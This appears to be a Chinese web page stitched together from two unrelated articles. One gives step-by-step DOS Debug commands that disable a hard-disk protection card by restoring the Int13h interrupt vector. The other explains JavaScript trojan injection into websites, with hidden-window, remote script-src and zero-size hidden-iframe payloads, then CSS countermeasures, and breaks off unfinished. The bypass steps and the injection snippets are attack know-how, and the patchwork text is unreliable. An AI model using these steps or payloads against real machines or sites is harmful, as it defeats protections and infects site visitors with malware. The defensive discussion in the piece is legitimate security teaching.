如何破解硬盤的保護

學識都 人氣:2.65W

如何破解硬盤的保護

如何破解硬盤的保護

硬盤保護卡的工作原理

硬盤保護卡是一種硬件芯片,插在主板上與硬盤的MBR一起協同工作,可以保護硬盤數據不被惡意修改和刪除,達到向硬盤中寫入數據在重新啓動計算機後消除數據的目的。

它的工作原理基於一種“BIOS映射地址轉移”的特殊技術,說簡單點就是通過攔截BIOS原始的Int13h,使所有寫入硬盤的操作重新定位到其自身的中斷程序,從而實現對寫入硬盤的數據起到保護的作用。

解除硬盤保護卡的保護功能

上面我們明白了硬盤保護卡的工作原理,我們只要恢復Int13h原始的BIOS中斷量就可以解除破解硬盤保護卡。這需要藉助於DOS下的Debug命令,通過它用手工方式找到Int13h的原始中斷向量值,填入中斷向量表即可。

首先查找Int13h的入口。在純DOS的命令提示符下鍵入“Debug”並依次輸入如下命令:

-a100

-xor ax,ax

-int 13

-int3

接着輸入“t”回車反覆重複執行,直到顯示地址形如“F000:xxxx”,記下這一地址,按“q”退出Debug狀態。這裏假設找到的入口爲F000:xxxx,在(0:13H*4)=0:4ch處填入這個地址,例如得到地址爲F000:1234,再次運行Debug,輸入如下命令:

-e 0:4c 34 12 00F0

-q

這樣就把得到的原始入口填入Int13h的中斷向量表中了,這時候硬盤保護卡就被解除。需要說明的是,以上解除硬盤保護卡只對本次操作有效,每次重新啓動系統都需要執行這樣的操作。

 瞭解JS掛馬方式

IFRAME掛馬方式比較早,相應的預防措施也比較多,其中用CSS配合JS腳本進行預防是主流方式。可這種預防方式也存在安全隱患,JS腳本也可以被用來掛馬,令人防不勝防。我們下面要介紹反擊JS掛馬的方法。

文章要點:瞭解JS掛馬方式

文章難度:★★

學習進程:√ IFRAME掛馬

√ JS掛馬

CSS掛馬

HNC網絡聯盟劉思楊:安全工程師,曾經負責過許多單位的網絡安全

許多人認爲,只要自己的服務器安全做得足夠好,建站程序補丁打得勤快,就能夠抵禦住所有黑客的攻擊。這樣做的人肯定是非常多的,可爲什麼還是有許多網站被黑呢?

一個很重要的原因,就是他們過於相信從第三方網站中下載的`整站程序,或者修改版的論壇程序等,而這些程序有些已經被黑客做過手腳,已經植入了後門,此時如果網站站長不熟悉如何查補漏洞,將無異於引狼入室。

比較典型的一個例子是,曾經非常出名的《易想多用戶商城 v2.1》(仿淘寶版),被許多黑客竄改過,多個關鍵頁面被植入了後門,然後到處提供下載,導致了許多使用該程序的網站被攻擊。因此在隱蔽手段掛馬橫行的今天,熟悉並掌握隱蔽的掛馬方式,是一個安全工程師必備的技能。

 JS掛馬溯源

古人云:人算不如天算,天算不如暗算(小編:哪個古人這樣雲過?)。當IFRAME逐漸被黑客濫用的時候,有經驗的安全工程師也開始研究相應的對策,一段時間內各種阻止IFRAME掛馬的方法不斷涌現,其中通用性較高的就是利用CSS配合JS腳本防禦IFRAME掛馬。

而黑客也發現,很多網站都會讓網頁調用JS腳本來實現廣告等諸多特效,如果將木馬掛在JS腳本中,所有調用該JS腳本的網頁都等同於被掛上了木馬,對於需要肉雞羣的黑客而言是一勞永逸,因此JS腳本掛馬逐漸開始被黑客應用。

小百科:JS腳本是JavaScript腳本語言的簡稱,它是一種面向對象的腳本語言,目前廣泛用於動態網頁的編程。需要提示大家的是,JavaScript和Java除了語法上有一些相似之處,以及都能夠當作網頁的編程語言以外,兩者是完全不相干的。而JavaScript與Jscript也不同,Jscript是微軟爲了迎戰JavaScript推出的腳本語言。

雖然JavaScript作爲給非程序人員的腳本語言向大衆推廣,但是JavaScript是一門具有豐富特性的語言,它有着和其他編程語言一樣的複雜性。實際上,你必須對JS有紮實的理解才能用它來編寫比較複雜的程序,作爲一名安全工程師,掌握JS腳本在工作中會有很大的幫助。

 掛馬原理一點通

JS腳本掛馬對於黑客而言,可以說優點多得數不過來,首先JS腳本在掛馬時可以直接將JS代碼寫在網頁中,也可以通過注入網頁,讓網站遠程調取異地JS腳本。此外,JS掛馬插入Web頁面的方法有幾十種,絕對夠菜鳥們眼花繚亂,無從辨別木馬在何處。

IFRAME掛馬相對於安全工程師而言,如同一個穿着鮮紅顏色外衣的劫匪,招搖而扎眼,很容易被發現。但是利用JS掛馬就意味着這個劫匪擁有了一張可以隨時變換的面孔,而且它還能夠隨時更換衣服。這樣的劫匪在安全工程師搜查時,很容易矇混過關,導致木馬久殺不絕。

JS掛馬攻防實錄

攻現在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網頁中,當訪問者在瀏覽網頁時,惡意的掛馬腳本就會通過用戶的瀏覽器悄悄地打開網馬窗口,隱藏地運行(圖1),這種方法使用的關鍵代碼如下:

window.open("http:///木.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");

這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”參數設爲“0”,但是設置爲0後,可能會出現惡意代碼不運行的情況。

另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('')”,寫入Windows中的寫字板另存爲後綴爲.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:

<script src="http:///木馬腳本.js"></script>

或者

document.write("<div style='display:none'>")

document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")

document.write("</div>")

就成功地將木馬掛到了對方的網頁中了。

小提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫爲:<div style="behaviour: url(http:///木馬腳本.js);">或者<if rame src="vbscript:[掛馬腳本]">等。

防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式纔是當前主流的,所以我們主要針對它進行防禦。方法就是阻止Src請求的異地外域的JS腳本,代碼如下:

iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}

script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}

不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁(圖2)。

所以我們爲安全工程師提供了一段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防範JS腳本掛馬的作用。

<title>讓JS掛馬中止的CSS代碼</title>

<style type="text/css" id="shudoo">

/*<![CDATA[*/

if rame{mdy1:expression(this.src='about:blank',this.outerHTML='');}

script{mzm2:expression((this.src.indexOf('http')==0)?document.close():'');}

/*]]>*/

我們雖然能夠巧妙地利用CSS代碼防範IFRAME和JS腳本掛馬,但是爲什麼網頁掛馬還是層出不窮?這恐怕就要說一說CSS掛馬了……

TAGS:硬盤 破解